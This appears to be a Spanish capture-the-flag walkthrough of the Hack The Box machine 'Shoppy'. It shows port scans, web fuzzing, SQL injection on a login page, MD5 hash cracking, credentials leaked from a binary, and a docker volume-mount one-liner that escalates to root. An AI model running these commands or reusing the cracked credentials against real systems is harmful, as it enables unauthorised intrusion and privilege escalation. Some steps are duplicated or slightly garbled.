Empezamos con un escaneo de todos los puertos con RustScan.
❯ rustscan -a 10.10.11.180 -- -sS -n -Pn The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Real hackers hack time ⌛ Open 10.10.11.180:22 Open 10.10.11.180:80 Open 10.10.11.180:9093 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.92 Initiating SYN Stealth Scan at 16:21 Scanning 10.10.11.180 [3 ports] Discovered open port 22/tcp on 10.10.11.180 Discovered open port 9093/tcp on 10.10.11.180 Discovered open port 80/tcp on 10.10.11.180 Completed SYN Stealth Scan ** elapsed (3 total ports) Nmap scan report for 10.10.11.180 Host is up, received user-set (0.24s latency). PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 9093/tcp open copycat syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 4.00 seconds Raw packets sent: 3 (queteimportaB) | Rcvd: 3 (queteimportaB)
Descubrimos tres puertos abiertos, proseguimos con el siguiete escaneo
❯ rustscan -a 10.10.11.180 -p22,80,9093 -- -sCV The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan Open 10.10.11.180:22 Open 10.10.11.180:80 Open 10.10.11.180:9093 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") ... Initiating Connect Scan at 16:26 Scanning shoppy.htb (10.10.11.180) [3 ports] Discovered open port 22/tcp on 10.10.11.180 Discovered open port 80/tcp on 10.10.11.180 Discovered open port 9093/tcp on 10.10.11.180 Initiating Service scan at 16:26 Scanning 3 services on shoppy.htb (10.10.11.180) Completed Service scan at 16:27, 105.34s elapsed (3 services on 1 host) Nmap scan report for shoppy.htb (10.10.11.180) Host is up, received syn-ack (0.21s latency). Scanned at 2022-09-22 16:26:14 -04 for 115s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDApZi3Kltv1yDHTatw6pKZfuIcoHfTnVe0W1yc9Uw7NMUinxjjQaQ731J+eCTwd8hBcZT6HQwcchDNR50Lwyp2a/KpXuH2my+2/tDvISTRTgwfMy1sDrG3+KPEzBag07m7ycshp8KhrRq0faHPrEgcagkb5T8mnT6zr3YonzoMyIpT+Q1O0JAre6GPgJc9im/tjaqhwUxCH5MxJCKQxaUf2SlGjRCH5/xEkNO20BEUYokjoAWwHUWjK2mlIrBQfd4/lcUzMnc5WT9pVBqQBw+/7LbFRyH4TLmGT9PPEr8D8iygWYpuG7WFOZlU8oOhO0+uBqZFgJFFOevq+42q42BvYYR/z+mFox+Q2lz7viSCV7nBMdcWto6USWLrx1AkVXNGeuRjr3l0r/698sQjDy5v0GnU9cMHeYkMc+TuiIaJJ5oRrSg/x53Xin1UogTnTaKLNdGkgynMqyVFklvdnUngRSLsXnwYNgcDrUhXxsfpDu8HVnzerT3q27679+n5ZFM= | 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHiKrH/B/4murRCo5ju2KuPgkMjQN3Foh7EifMHEOwmoDNjLYBfoAFKgBnrMA9GzA+NGhHVa6L8CAxN3eaGXXMo= | 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRsWhJQCRHjDkHy3HkFLMZoGqCmM3/VfMHMm56u0Ivk 80/tcp open http syn-ack nginx 1.23.1 |_http-title: Shoppy Wait Page | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Unknown favicon MD5: D5F0A0ADD0BFBB2BC51607F78ECE2F57 |_http-server-header: nginx/1.23.1 9093/tcp open copycat? syn-ack | fingerprint-strings: | GenericLines: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | ... | ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 116.78 seconds
vemos el puerto ssh, una web en el puerto 83 que corre nginx 1.23 y una posible DB en el 9093, ingresamos a la Web.
vemos un contador, y nada en el código fuente. Intentemos empezando por un fuzzing a shoppy.htb/FUZZ y buscar subdominios enFUZZ.shoppy.htb.
❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://shoppy.htb/FUZZ -fw 853 v1.5.0-dev ________________________________________________ :: Method : GET :: URL : http://shoppy.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response words: 853 ________________________________________________ images [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 848ms] login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 204ms] admin [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 168ms] assets [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 162ms] css [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 166ms] Login [Status: 200, Size: 1074, Words: 152, Lines: 26, Duration: 173ms] js [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 162ms]
encontramos un apartado login y admin que son interesantes 📄, admin nos devuelve un estado 302 desde el servidor y login uno exitoso. Ingresamos a /login.
después de jugar con el formulario, la URL y por un posible Path Traversal, descubrimos que podemos Inyectar SQL 💉.
la página nos permite interactuar con Search for Users, buscamos por nuestro query. Y damos clic en Download Export 📥.
vemos dos usuarios con sus contraseñas seguramente encriptadas(md5) toca sacar el hashcat o el john, ingresamos los hashes a nuestro archivo hash y proseguimos de manera sencilla...
❯ cat hash 23c6877d9e2b564ef8b32c3a23de27b2 6ebcea65320589ca4f2f1ce039975995 ❯ hashcat hash /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... ... Session..........: hashcat Status...........: Exhausted Hash.Name........: MD5 Hash.Target......: hash Time.Started.....: * (2 secs) Time.Estimated...: * (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 7415.3 kH/s (0.27ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/2 (50.00%) Digests Progress.........: 14344385/14344385 (100.00%) Rejected.........: 0/14344385 (0.00%) Restore.Point....: 14344385/14344385 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103] Started: * Stopped: * c/htb/shoppy took 17s ❯ hashcat hash /usr/share/wordlists/rockyou.txt --show 6ebcea65320589ca4f2f1ce039975995:remembermethisway
✨hash ROTO❤️ remembermethisway contraseña para el usuario josh. Cuando empezamos a hacer fuzzing a http://shoppy/login no es mala idea también hacerlo a http://FUZZ.shoppy.login.
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://shoppy.htb -H "Host: FUZZ.shoppy.htb" -fw 5 ... ________________________________________________ :: Method : GET :: URL : http://shoppy.htb :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt :: Header : Host: FUZZ.shoppy.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response words: 5 ________________________________________________ mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 190ms]
tenemos un login y un usuario josh con contraseña remembermethisway.
vemos cuatro apartados que son interesantes que los leas yo te lo resumiré:
Ingresamos por ssh:
❯ ssh jaeger@shoppy.htb ❯ jaeger@shoppy.htb's password: ❯ jaeger@shoppy:~$ ls Desktop Documents Downloads Music Pictures Public ShoppyApp Templates Videos script shoppy_start.sh user.txt ❯ jaeger@shoppy:~$ cat user.txt ********************* ❯ jaeger@shoppy:~$ sudo -l [sudo] password for jaeger: Matching Defaults entries for jaeger on shoppy: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User jaeger may run the following commands on shoppy: (deploy) /home/deploy/password-manager
podemos ejecutar un archivo /home/deploy/password-manager con el usuario deploy
❯ ssh jaeger@shoppy.htb ❯ jaeger@shoppy.htb's password: ❯ jaeger@shoppy:~$ ls Desktop Documents Downloads Music Pictures Public ShoppyApp Templates Videos script shoppy_start.sh user.txt ❯ jaeger@shoppy:~$ cat user.txt ********************* ❯ jaeger@shoppy:~$ sudo -l [sudo] password for jaeger: Matching Defaults entries for jaeger on shoppy: env_reset, mail_badpass, secure_path=/usr/local/sbn\::/usr/local/bin:/usr/sbin:/usr/bin:/sbin::/bin ❯ jaeger@shoppy:/home/deploy$ ls -lah total 84K drwxr-xr-x 5 deploy deploy 4.0K Sep 22 16:44 . drwxr-xr-x 4 root root 4.0K Jul 22 13:12 .. lrwxrwxrwx 1 deploy deploy 9 Jul 22 13:14 .bash_history -> /dev/null -rw-r--r-- 1 deploy deploy 220 Mar 27 13:40 .bash_logout -rw-r--r-- 1 deploy deploy 3.5K Mar 27 13:40 .bashrc lrwxrwxrwx 1 deploy deploy 9 Jul 23 03:34 .dbshell -> /dev/null drwx------ 3 deploy deploy 4.0K Sep 22 14:50 .gnupg drwxr-xr-x 3 deploy deploy 4.0K Sep 22 16:43 .local -rw-r--r-- 1 deploy deploy 807 Mar 27 13:40 .profile drwx------ 2 deploy deploy 4.0K Sep 22 14:55 .ssh -rw------- 1 deploy deploy 56 Jul 22 13:15 creds.txt -rwxr--r-- 1 deploy deploy 19K Jul 22 13:20 password-manager -rw------- 1 deploy deploy 739 Feb 1 2022 password-manager.cpp -rwsr-xr-x 1 deploy deploy 17K Sep 22 16:44 shell -rw-r--r-- 1 deploy deploy 76 Sep 22 16:44 test.c
tenemos permisos de lectura a password-manager lo cual es interesante 💅🏻, vemos que tipo de archivo es antes de seguir con file: Es un binario LSB ejecutable.
❯ jaeger@shoppy:/home/deploy$ file password-manager password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped ❯ jaeger@shoppy:/home/deploy$ cat password-manager ...Welcome to Josh password manager!Please enter your master password: SampleAccess granted!...
De toda la tralla que nos boto el comando cat se filtró una contraseña Sample, proseguimos con el usuario deploy que tiene acceso al contenedor docker:
❯ jaeger@shoppy:/home/deploy$ sudo -u deploy ./password-manager [sudo] password for jaeger: Welcome to Josh password manager! Please enter your master password: Sample Access granted! Here is creds ! Deploy Creds : username: deploy password: Deploying@pp! ❯ jaeger@shoppy:/home/deploy$ ssh deploy@shoppy.htb deploy@shoppy.htb's password: ... The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. ... ❯$ whoami deploy ❯$ docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ffe961feb55a alpine "chroot /mnt sh" 2 minutes ago Up 2 minutes festive_torvalds
vemos una imagen alpine que permite hacer root a /mnt si podemos montar toda la raíz en nuestro fichero, seremos root. 🌴 El flag -v es de volum que es parecido a mount en Docker.
❯$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh ❯# whoami root ❯# cat /root/root.txt **********************************